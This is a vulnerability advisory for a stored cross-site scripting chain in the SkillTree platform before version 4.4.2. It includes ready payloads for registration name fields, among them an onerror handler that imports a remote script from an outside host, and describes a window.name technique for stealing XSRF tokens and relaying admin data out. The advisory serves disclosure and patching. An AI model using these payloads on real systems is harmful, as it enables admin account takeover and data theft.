SkillTree CVE-2026-54694

SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. StringHighlighter.js builds an HTML string by interpolating raw value substrings directly into a template literal with no HTML entity encoding. HighlightedValue.vue renders that string - and all unfiltered plain values - via Vue's v-html directive, which sets innerHTML. Separately, the account registration endpoint accepts firstName, lastName, and nickname fields and stores them without any HTML sanitization. An attacker self-registers with firstName = "<img src=x onerror=alert(1)>" (28 characters - within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. <img src=x onerror=alert(1)>, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via import(). Using the split-field technique (lastName = "<img src=x", firstName = "onerror=import('//nsas.cc/p')>"), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action - delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (//nsas.cc/p). The third is full cross-site request forgery token theft. Using eval(name), the attacker pre-sets window.name to a data-theft payload by sending the admin one redirect link first. The session cookie is HttpOnly and cannot be read via document.cookie; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.